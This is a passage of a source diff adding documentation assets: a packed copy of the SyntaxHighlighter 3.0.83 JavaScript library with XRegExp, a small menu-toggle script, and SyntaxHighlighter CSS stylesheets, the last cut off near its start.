C=/\\$(?:(\\d\\d?|[$&`\'])|{([$\\w]+)})/g,w=/[^5h]+|([\\s\\S])(?=[\\s\\S]*\\1)/g,A=/^(?:[?*+]|{\\d+(?:,\\d*)?})\\??/,v=11,u=[],n={X:15.Z.X,1A:15.Z.1A,1C:1r.Z.1C,Q:1r.Z.Q,1e:1r.Z.1e},x=n.X.W(/()??/,"")[1]===1d,D=6(){K f=/^/g;n.1A.W(f,"");H!f.12}(),y=6(){K f=/x/g;n.Q.W("x",f,"");H!f.12}(),E=15.Z.3n!==1d,z={};z[M.2I]=/^(?:\\\\(?:[0-3][0-7]{0,2}|[4-7][0-7]?|x[\\29-26-f]{2}|u[\\29-26-f]{4}|c[A-3o-z]|[\\s\\S]))/;z[M.1B]=/^(?:\\\\(?:0(?:[0-3][0-7]{0,2}|[4-7][0-7]?)?|[1-9]\\d*|x[\\29-26-f]{2}|u[\\29-26-f]{4}|c[A-3o-z]|[\\s\\S])|\\(\\?[:=!]|[?*+]\\?|{\\d+(?:,\\d*)?}\\??)/;M.1h=6(f,e,a,b){u.U({2q:r(f,"g"+(E?"y":"")),2b:e,3r:a||M.1B,2p:b||N})};M.2n=6(f,e){K a=f+"/"+(e||"");H M.2n[a]||(M.2n[a]=M(f,e))};M.3c=6(f){H r(f,"g")};M.5l=6(f){H f.Q(/[-[\\]{}()*+?.,\\\\^$|#\\s]/g,"\\\\$&")};M.5e=6(f,e,a,b){e=r(e,"g"+(b&&E?"y":""));e.12=a=a||0;f=e.X(f);H b?f&&f.P===a?f:N:f};M.3q=6(){M.1h=6(){1S 2U("2a\'t 55 1h 54 3q")}};M.1R=6(f){H 53.Z.1q.W(f)==="[2m 15]"};M.3p=6(f,e,a,b){O(K c=r(e,"g"),d=-1,h;h=c.X(f);){a.W(b,h,++d,f,c);c.12===h.P&&c.12++}I(e.1J)e.12=0};M.57=6(f,e){H 6 a(b,c){K d=e[c].1I?e[c]:{1I:e[c]},h=r(d.1I,"g"),g=[],i;O(i=0;i<b.L;i++)M.3p(b[i],h,6(k){g.U(d.3j?k[d.3j]||"":k[0])});H c===e.L-1||!g.L?g:a(g,c+1)}([f],0)};15.Z.1p=6(f,e){H J.X(e[0])};15.Z.W=6(f,e){H J.X(e)};15.Z.X=6(f){K e=n.X.1p(J,14),a;I(e){I(!x&&e.L>1&&p(e,"")>-1){a=15(J.1m,n.Q.W(t(J),"g",""));n.Q.W(f.1a(e.P),a,6(){O(K c=1;c<14.L-2;c++)I(14[c]===1d)e[c]=1d})}I(J.1w&&J.1w.19)O(K b=1;b<e.L;b++)I(a=J.1w.19[b-1])e[a]=e[b];!D&&J.1J&&!e[0].L&&J.12>e.P&&J.12--}H e};I(!D)15.Z.1A=6(f){(f=n.X.W(J,f))&&J.1J&&!f[0].L&&J.12>f.P&&J.12--;H!!f};1r.Z.1C=6(f){M.1R(f)||(f=15(f));I(f.1J){K e=n.1C.1p(J,14);f.12=0;H e}H f.X(J)};1r.Z.Q=6(f,e){K a=M.1R(f),b,c;I(a&&1j e.58()==="3f"&&e.1i("${")===-1&&y)H n.Q.1p(J,14);I(a){I(f.1w)b=f.1w.19}Y f+="";I(1j e==="6")c=n.Q.W(J,f,6(){I(b){14[0]=1f 1r(14[0]);O(K d=0;d<b.L;d++)I(b[d])14[0][b[d]]=14[d+1]}I(a&&f.1J)f.12=14[14.L-2]+14[0].L;H e.1p(N,14)});Y{c=J+"";c=n.Q.W(c,f,6(){K d=14;H n.Q.W(e,C,6(h,g,i){I(g)5b(g){24"$":H"$";24"&":H d[0];24"`":H d[d.L-1].1a(0,d[d.L-2]);24"\'":H d[d.L-1].1a(d[d.L-2]+d[0].L);5a:i="";g=+g;I(!g)H h;O(;g>d.L-3;){i=1r.Z.1a.W(g,-1)+i;g=1Q.3i(g/10)}H(g?d[g]||"":"$")+i}Y{g=+i;I(g<=d.L-3)H d[g];g=b?p(b,i):-1;H g>-1?d[g+1]:h}})})}I(a&&f.1J)f.12=0;H c};1r.Z.1e=6(f,e){I(!M.1R(f))H n.1e.1p(J,14);K a=J+"",b=[],c=0,d,h;I(e===1d||+e<0)e=5D;Y{e=1Q.3i(+e);I(!e)H[]}O(f=M.3c(f);d=f.X(a);){I(f.12>c){b.U(a.1a(c,d.P));d.L>1&&d.P<a.L&&3b.Z.U.1p(b,d.1a(1));h=d[0].L;c=f.12;I(b.L>=e)1N}f.12===d.P&&f.12++}I(c===a.L){I(!n.1A.W(f,"")||h)b.U("")}Y b.U(a.1a(c));H b.L>e?b.1a(0,e):b};M.1h(/\\(\\?#[^)]*\\)/,6(f){H n.1A.W(A,f.2S.1a(f.P+f[0].L))?"":"(?:)"});M.1h(/\\((?!\\?)/,6(){J.19.U(N);H"("});M.1h(/\\(\\?<([$\\w]+)>/,6(f){J.19.U(f[1]);J.2N=R;H"("});M.1h(/\\\\k<([\\w$]+)>/,6(f){K e=p(J.19,f[1]);H e>-1?"\\\\"+(e+1)+(3R(f.2S.3a(f.P+f[0].L))?"":"(?:)"):f[0]});M.1h(/\\[\\^?]/,6(f){H f[0]==="[]"?"\\\\b\\\\B":"[\\\\s\\\\S]"});M.1h(/^\\(\\?([5A]+)\\)/,6(f){J.3d(f[1]);H""});M.1h(/(?:\\s+|#.*)+/,6(f){H n.1A.W(A,f.2S.1a(f.P+f[0].L))?"":"(?:)"},M.1B,6(){H J.2K("x")});M.1h(/\\./,6(){H"[\\\\s\\\\S]"},M.1B,6(){H J.2K("s")})})();1j 2e!="1d"&&(2e.M=M);K 1v=6(){6 r(a,b){a.1l.1i(b)!=-1||(a.1l+=" "+b)}6 t(a){H a.1i("3e")==0?a:"3e"+a}6 B(a){H e.1Y.2A[t(a)]}6 p(a,b,c){I(a==N)H N;K d=c!=R?a.3G:[a.2G],h={"#":"1c",".":"1l"}[b.1o(0,1)]||"3h",g,i;g=h!="3h"?b.1o(1):b.5u();I((a[h]||"").1i(g)!=-1)H a;O(a=0;d&&a<d.L&&i==N;a++)i=p(d[a],b,c);H i}6 C(a,b){K c={},d;O(d 2g a)c[d]=a[d];O(d 2g b)c[d]=b[d];H c}6 w(a,b,c,d){6 h(g){g=g||1P.5y;I(!g.1F){g.1F=g.52;g.3N=6(){J.5w=11}}c.W(d||1P,g)}a.3g?a.3g("4U"+b,h):a.4y(b,h,11)}6 A(a,b){K c=e.1Y.2j,d=N;I(c==N){c={};O(K h 2g e.1U){K g=e.1U[h];d=g.4x;I(d!=N){g.1V=h.4w();O(g=0;g<d.L;g++)c[d[g]]=h}}e.1Y.2j=c}d=e.1U[c[a]];d==N&&b!=11&&1P.1X(e.13.1x.1X+(e.13.1x.3E+a));H d}6 v(a,b){O(K c=a.1e("\\n"),d=0;d<c.L;d++)c[d]=b(c[d],d);H c.1K("\\n")}6 u(a,b){I(a==N||a.L==0||a=="\\n")H a;a=a.Q(/</g,"&1y;");a=a.Q(/ {2,}/g,6(c){O(K d="",h=0;h<c.L-1;h++)d+=e.13.1W;H d+" "});I(b!=N)a=v(a,6(c){I(c.L==0)H"";K d="";c=c.Q(/^(&2s;| )+/,6(h){d=h;H""});I(c.L==0)H d;H d+\'<17 1g="\'+b+\'">\'+c+"</17>"});H a}6 n(a,b){a.1e("\\n");O(K c="",d=0;d<50;d++)c+="                    ";H a=v(a,6(h){I(h.1i("\\t")==-1)H h;O(K g=0;(g=h.1i("\\t"))!=-1;)h=h.1o(0,g)+c.1o(0,b-g%b)+h.1o(g+1,h.L);H h})}6 x(a){H a.Q(/^\\s+|\\s+$/g,"")}6 D(a,b){I(a.P<b.P)H-1;Y I(a.P>b.P)H 1;Y I(a.L<b.L)H-1;Y I(a.L>b.L)H 1;H 0}6 y(a,b){6 c(k){H k[0]}O(K d=N,h=[],g=b.2D?b.2D:c;(d=b.1I.X(a))!=N;){K i=g(d,b);I(1j i=="3f")i=[1f e.2L(i,d.P,b.23)];h=h.1O(i)}H h}6 E(a){K b=/(.*)((&1G;|&1y;).*)/;H a.Q(e.3A.3M,6(c){K d="",h=N;I(h=b.X(c)){c=h[1];d=h[2]}H\'<a 2h="\'+c+\'">\'+c+"</a>"+d})}6 z(){O(K a=1E.36("1k"),b=[],c=0;c<a.L;c++)a[c].3s=="20"&&b.U(a[c]);H b}6 f(a){a=a.1F;K b=p(a,".20",R);a=p(a,".3O",R);K c=1E.4i("3t");I(!(!a||!b||p(a,"3t"))){B(b.1c);r(b,"1m");O(K d=a.3G,h=[],g=0;g<d.L;g++)h.U(d[g].4z||d[g].4A);h=h.1K("\\r");c.39(1E.4D(h));a.39(c);c.2C();c.4C();w(c,"4u",6(){c.2G.4E(c);b.1l=b.1l.Q("1m","")})}}I(1j 3F!="1d"&&1j M=="1d")M=3F("M").M;K e={2v:{"1g-27":"","2i-1s":1,"2z-1s-2t":11,1M:N,1t:N,"42-45":R,"43-22":4,1u:R,16:R,"3V-17":R,2l:11,"41-40":R,2k:11,"1z-1k":11},13:{1W:"&2s;",2M:R,46:11,44:11,34:"4n",1x:{21:"4o 1m",2P:"?",1X:"1v\\n\\n",3E:"4r\'t 4t 1D O: ",4g:"4m 4B\'t 51 O 1z-1k 4F: ",37:\'<!4T 1z 4S "-//4V//3H 4W 1.0 4Z//4Y" "1Z://2y.3L.3K/4X/3I/3H/3I-4P.4J"><1z 4I="1Z://2y.3L.3K/4L/5L"><3J><4N 1Z-4M="5G-5M" 6K="2O/1z; 6J=6I-8" /><1t>6L 1v</1t></3J><3B 1L="25-6M:6Q,6P,6O,6N-6F;6y-2f:#6x;2f:#6w;25-22:6v;2O-3D:3C;"><T 1L="2O-3D:3C;3w-32:1.6z;"><T 1L="25-22:6A-6E;">1v</T><T 1L="25-22:.6C;3w-6B:6R;"><T>3v 3.0.76 (72 73 3x)</T><T><a 2h="1Z://3u.2w/1v" 1F="38" 1L="2f:#3y">1Z://3u.2w/1v</a></T><T>70 17 6U 71.</T><T>6T 6X-3x 6Y 6D.</T></T><T>6t 61 60 J 1k, 5Z <a 2h="6u://2y.62.2w/63-66/65?64=5X-5W&5P=5O" 1L="2f:#3y">5R</a> 5V <2R/>5U 5T 5S!</T></T></3B></1z>\'}},1Y:{2j:N,2A:{}},1U:{},3A:{6n:/\\/\\*[\\s\\S]*?\\*\\//2c,6m:/\\/\\/.*$/2c,6l:/#.*$/2c,6k:/"([^\\\\"\\n]|\\\\.)*"/g,6o:/\'([^\\\\\'\\n]|\\\\.)*\'/g,6p:1f M(\'"([^\\\\\\\\"]|\\\\\\\\.)*"\',"3z"),6s:1f M("\'([^\\\\\\\\\']|\\\\\\\\.)*\'","3z"),6q:/(&1y;|<)!--[\\s\\S]*?--(&1G;|>)/2c,3M:/\\w+:\\/\\/[\\w-.\\/?%&=:@;]*/g,6a:{18:/(&1y;|<)\\?=?/g,1b:/\\?(&1G;|>)/g},69:{18:/(&1y;|<)%=?/g,1b:/%(&1G;|>)/g},6d:{18:/(&1y;|<)\\s*1k.*?(&1G;|>)/2T,1b:/(&1y;|<)\\/\\s*1k\\s*(&1G;|>)/2T}},16:{1H:6(a){6 b(i,k){H e.16.2o(i,k,e.13.1x[k])}O(K c=\'<T 1g="16">\',d=e.16.2x,h=d.2X,g=0;g<h.L;g++)c+=(d[h[g]].1H||b)(a,h[g]);c+="</T>";H c},2o:6(a,b,c){H\'<2W><a 2h="#" 1g="6e 6h\'+b+" "+b+\'">\'+c+"</a></2W>"},2b:6(a){K b=a.1F,c=b.1l||"";b=B(p(b,".20",R).1c);K d=6(h){H(h=15(h+"6f(\\\\w+)").X(c))?h[1]:N}("6g");b&&d&&e.16.2x[d].2B(b);a.3N()},2x:{2X:["21","2P"],21:{1H:6(a){I(a.V("2l")!=R)H"";K b=a.V("1t");H e.16.2o(a,"21",b?b:e.13.1x.21)},2B:6(a){a=1E.6j(t(a.1c));a.1l=a.1l.Q("47","")}},2P:{2B:6(){K a="68=0";a+=", 18="+(31.30-33)/2+", 32="+(31.2Z-2Y)/2+", 30=33, 2Z=2Y";a=a.Q(/^,/,"");a=1P.6Z("","38",a);a.2C();K b=a.1E;b.6W(e.13.1x.37);b.6V();a.2C()}}}},35:6(a,b){K c;I(b)c=[b];Y{c=1E.36(e.13.34);O(K d=[],h=0;h<c.L;h++)d.U(c[h]);c=d}c=c;d=[];I(e.13.2M)c=c.1O(z());I(c.L===0)H d;O(h=0;h<c.L;h++){O(K g=c[h],i=a,k=c[h].1l,j=3W 0,l={},m=1f M("^\\\\[(?<2V>(.*?))\\\\]$"),s=1f M("(?<27>[\\\\w-]+)\\\\s*:\\\\s*(?<1T>[\\\\w-%#]+|\\\\[.*?\\\\]|\\".*?\\"|\'.*?\')\\\\s*;?","g");(j=s.X(k))!=N;){K o=j.1T.Q(/^[\'"]|[\'"]$/g,"");I(o!=N&&m.1A(o)){o=m.X(o);o=o.2V.L>0?o.2V.1e(/\\s*,\\s*/):[]}l[j.27]=o}g={1F:g,1n:C(i,l)};g.1n.1D!=N&&d.U(g)}H d},1M:6(a,b){K c=J.35(a,b),d=N,h=e.13;I(c.L!==0)O(K g=0;g<c.L;g++){b=c[g];K i=b.1F,k=b.1n,j=k.1D,l;I(j!=N){I(k["1z-1k"]=="R"||e.2v["1z-1k"]==R){d=1f e.4l(j);j="4O"}Y I(d=A(j))d=1f d;Y 6H;l=i.3X;I(h.2M){l=l;K m=x(l),s=11;I(m.1i("<![6G[")==0){m=m.4h(9);s=R}K o=m.L;I(m.1i("]]\\>")==o-3){m=m.4h(0,o-3);s=R}l=s?m:l}I((i.1t||"")!="")k.1t=i.1t;k.1D=j;d.2Q(k);b=d.2F(l);I((i.1c||"")!="")b.1c=i.1c;i.2G.74(b,i)}}},2E:6(a){w(1P,"4k",6(){e.1M(a)})}};e.2E=e.2E;e.1M=e.1M;e.2L=6(a,b,c){J.1T=a;J.P=b;J.L=a.L;J.23=c;J.1V=N};e.2L.Z.1q=6(){H J.1T};e.4l=6(a){6 b(j,l){O(K m=0;m<j.L;m++)j[m].P+=l}K c=A(a),d,h=1f e.1U.5Y,g=J,i="2F 1H 2Q".1e(" ");I(c!=N){d=1f c;O(K k=0;k<i.L;k++)(6(){K j=i[k];g[j]=6(){H h[j].1p(h,14)}})();d.28==N?1P.1X(e.13.1x.1X+(e.13.1x.4g+a)):h.2J.U({1I:d.28.17,2D:6(j){O(K l=j.17,m=[],s=d.2J,o=j.P+j.18.L,F=d.28,q,G=0;G<s.L;G++){q=y(l,s[G]);b(q,o);m=m.1O(q)}I(F.18!=N&&j.18!=N){q=y(j.18,F.18);b(q,j.P);m=m.1O(q)}I(F.1b!=N&&j.1b!=N){q=y(j.1b,F.1b);b(q,j.P+j[0].5Q(j.1b));m=m.1O(q)}O(j=0;j<m.L;j++)m[j].1V=c.1V;H m}})}};e.4j=6(){};e.4j.Z={V:6(a,b){K c=J.1n[a];c=c==N?b:c;K d={"R":R,"11":11}[c];H d==N?c:d},3Y:6(a){H 1E.4i(a)},4c:6(a,b){K c=[];I(a!=N)O(K d=0;d<a.L;d++)I(1j a[d]=="2m")c=c.1O(y(b,a[d]));H J.4e(c.6b(D))},4e:6(a){O(K b=0;b<a.L;b++)I(a[b]!==N)O(K c=a[b],d=c.P+c.L,h=b+1;h<a.L&&a[b]!==N;h++){K g=a[h];I(g!==N)I(g.P>d)1N;Y I(g.P==c.P&&g.L>c.L)a[b]=N;Y I(g.P>=c.P&&g.P<d)a[h]=N}H a},4d:6(a){K b=[],c=2u(J.V("2i-1s"));v(a,6(d,h){b.U(h+c)});H b},3U:6(a){K b=J.V("1M",[]);I(1j b!="2m"&&b.U==N)b=[b];a:{a=a.1q();K c=3W 0;O(c=c=1Q.6c(c||0,0);c<b.L;c++)I(b[c]==a){b=c;1N a}b=-1}H b!=-1},2r:6(a,b,c){a=["1s","6i"+b,"P"+a,"6r"+(b%2==0?1:2).1q()];J.3U(b)&&a.U("67");b==0&&a.U("1N");H\'<T 1g="\'+a.1K(" ")+\'">\'+c+"</T>"},3Q:6(a,b){K c="",d=a.1e("\\n").L,h=2u(J.V("2i-1s")),g=J.V("2z-1s-2t");I(g==R)g=(h+d-1).1q().L;Y I(3R(g)==R)g=0;O(K i=0;i<d;i++){K k=b?b[i]:h+i,j;I(k==0)j=e.13.1W;Y{j=g;O(K l=k.1q();l.L<j;)l="0"+l;j=l}a=j;c+=J.2r(i,k,a)}H c},49:6(a,b){a=x(a);K c=a.1e("\\n");J.V("2z-1s-2t");K d=2u(J.V("2i-1s"));a="";O(K h=J.V("1D"),g=0;g<c.L;g++){K i=c[g],k=/^(&2s;|\\s)+/.X(i),j=N,l=b?b[g]:d+g;I(k!=N){j=k[0].1q();i=i.1o(j.L);j=j.Q(" ",e.13.1W)}i=x(i);I(i.L==0)i=e.13.1W;a+=J.2r(g,l,(j!=N?\'<17 1g="\'+h+\' 5N">\'+j+"</17>":"")+i)}H a},4f:6(a){H a?"<4a>"+a+"</4a>":""},4b:6(a,b){6 c(l){H(l=l?l.1V||g:g)?l+" ":""}O(K d=0,h="",g=J.V("1D",""),i=0;i<b.L;i++){K k=b[i],j;I(!(k===N||k.L===0)){j=c(k);h+=u(a.1o(d,k.P-d),j+"48")+u(k.1T,j+k.23);d=k.P+k.L+(k.75||0)}}h+=u(a.1o(d),c()+"48");H h},1H:6(a){K b="",c=["20"],d;I(J.V("2k")==R)J.1n.16=J.1n.1u=11;1l="20";J.V("2l")==R&&c.U("47");I((1u=J.V("1u"))==11)c.U("6S");c.U(J.V("1g-27"));c.U(J.V("1D"));a=a.Q(/^[ ]*[\\n]+|[\\n]*[ ]*$/g,"").Q(/\\r/g," ");b=J.V("43-22");I(J.V("42-45")==R)a=n(a,b);Y{O(K h="",g=0;g<b;g++)h+=" ";a=a.Q(/\\t/g,h)}a=a;a:{b=a=a;h=/<2R\\s*\\/?>|&1y;2R\\s*\\/?&1G;/2T;I(e.13.46==R)b=b.Q(h,"\\n");I(e.13.44==R)b=b.Q(h,"");b=b.1e("\\n");h=/^\\s*/;g=4Q;O(K i=0;i<b.L&&g>0;i++){K k=b[i];I(x(k).L!=0){k=h.X(k);I(k==N){a=a;1N a}g=1Q.4q(k[0].L,g)}}I(g>0)O(i=0;i<b.L;i++)b[i]=b[i].1o(g);a=b.1K("\\n")}I(1u)d=J.4d(a);b=J.4c(J.2J,a);b=J.4b(a,b);b=J.49(b,d);I(J.V("41-40"))b=E(b);1j 2H!="1d"&&2H.3S&&2H.3S.1C(/5s/)&&c.U("5t");H b=\'<T 1c="\'+t(J.1c)+\'" 1g="\'+c.1K(" ")+\'">\'+(J.V("16")?e.16.1H(J):"")+\'<3Z 5z="0" 5H="0" 5J="0">\'+J.4f(J.V("1t"))+"<3T><3P>"+(1u?\'<2d 1g="1u">\'+J.3Q(a)+"</2d>":"")+\'<2d 1g="17"><T 1g="3O">\'+b+"</T></2d></3P></3T></3Z></T>"},2F:6(a){I(a===N)a="";J.17=a;K b=J.3Y("T");b.3X=J.1H(a);J.V("16")&&w(p(b,".16"),"5c",e.16.2b);J.V("3V-17")&&w(p(b,".17"),"56",f);H b},2Q:6(a){J.1c=""+1Q.5d(1Q.5n()*5k).1q();e.1Y.2A[t(J.1c)]=J;J.1n=C(e.2v,a||{});I(J.V("2k")==R)J.1n.16=J.1n.1u=11},5j:6(a){a=a.Q(/^\\s+|\\s+$/g,"").Q(/\\s+/g,"|");H"\\\\b(?:"+a+")\\\\b"},5f:6(a){J.28={18:{1I:a.18,23:"1k"},1b:{1I:a.1b,23:"1k"},17:1f M("(?<18>"+a.18.1m+")(?<17>.*?)(?<1b>"+a.1b.1m+")","5o")}}};H e}();1j 2e!="1d"&&(2e.1v=1v);',62,441,'||||||function|||||||||||||||||||||||||||||||||||||return|if|this|var|length|XRegExp|null|for|index|replace|true||div|push|getParam|call|exec|else|prototype||false|lastIndex|config|arguments|RegExp|toolbar|code|left|captureNames|slice|right|id|undefined|split|new|class|addToken|indexOf|typeof|script|className|source|params|substr|apply|toString|String|line|title|gutter|SyntaxHighlighter|_xregexp|strings|lt|html|test|OUTSIDE_CLASS|match|brush|document|target|gt|getHtml|regex|global|join|style|highlight|break|concat|window|Math|isRegExp|throw|value|brushes|brushName|space|alert|vars|http|syntaxhighlighter|expandSource|size|css|case|font|Fa|name|htmlScript|dA|can|handler|gm|td|exports|color|in|href|first|discoveredBrushes|light|collapse|object|cache|getButtonHtml|trigger|pattern|getLineHtml|nbsp|numbers|parseInt|defaults|com|items|www|pad|highlighters|execute|focus|func|all|getDiv|parentNode|navigator|INSIDE_CLASS|regexList|hasFlag|Match|useScriptTags|hasNamedCapture|text|help|init|br|input|gi|Error|values|span|list|250|height|width|screen|top|500|tagName|findElements|getElementsByTagName|aboutDialog|_blank|appendChild|charAt|Array|copyAsGlobal|setFlag|highlighter_|string|attachEvent|nodeName|floor|backref|output|the|TypeError|sticky|Za|iterate|freezeTokens|scope|type|textarea|alexgorbatchev|version|margin|2010|005896|gs|regexLib|body|center|align|noBrush|require|childNodes|DTD|xhtml1|head|org|w3|url|preventDefault|container|tr|getLineNumbersHtml|isNaN|userAgent|tbody|isLineHighlighted|quick|void|innerHTML|create|table|links|auto|smart|tab|stripBrs|tabs|bloggerMode|collapsed|plain|getCodeLinesHtml|caption|getMatchesHtml|findMatches|figureOutLineNumbers|removeNestedMatches|getTitleHtml|brushNotHtmlScript|substring|createElement|Highlighter|load|HtmlScript|Brush|pre|expand|multiline|min|Can|ignoreCase|find|blur|extended|toLowerCase|aliases|addEventListener|innerText|textContent|wasn|select|createTextNode|removeChild|option|same|frame|xmlns|dtd|twice|1999|equiv|meta|htmlscript|transitional|1E3|expected|PUBLIC|DOCTYPE|on|W3C|XHTML|TR|EN|Transitional||configured|srcElement|Object|after|run|dblclick|matchChain|valueOf|constructor|default|switch|click|round|execAt|forHtmlScript|token|gimy|functions|getKeywords|1E6|escape|within|random|sgi|another|finally|supply|MSIE|ie|toUpperCase|catch|returnValue|definition|event|border|imsx|constructing|one|Infinity|from|when|Content|cellpadding|flags|cellspacing|try|xhtml|Type|spaces|2930402|hosted_button_id|lastIndexOf|donate|active|development|keep|to|xclick|_s|Xml|please|like|you|paypal|cgi|cmd|webscr|bin|highlighted|scrollbars|aspScriptTags|phpScriptTags|sort|max|scriptScriptTags|toolbar_item|_|command|command_|number|getElementById|doubleQuotedString|singleLinePerlComments|singleLineCComments|multiLineCComments|singleQuotedString|multiLineDoubleQuotedString|xmlComments|alt|multiLineSingleQuotedString|If|https|1em|000|fff|background|5em|xx|bottom|75em|Gorbatchev|large|serif|CDATA|continue|utf|charset|content|About|family|sans|Helvetica|Arial|Geneva|3em|nogutter|Copyright|syntax|close|write|2004|Alex|open|JavaScript|highlighter|July|02|replaceChild|offset|83'.split('|'),0,{}))
doc/guides/javascripts/guides.js
@@ -0,0 +1,7 @@
+function guideMenu(){
+  if (document.getElementById('guides').style.display == "none") {
+    document.getElementById('guides').style.display = "block";
+  } else {
+    document.getElementById('guides').style.display = "none";
+  }
+}
doc/guides/stylesheets/syntaxhighlighter/shCore.css
@@ -0,0 +1,226 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
doc/guides/stylesheets/syntaxhighlighter/shCoreDefault.css
@@ -0,0 +1,328 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
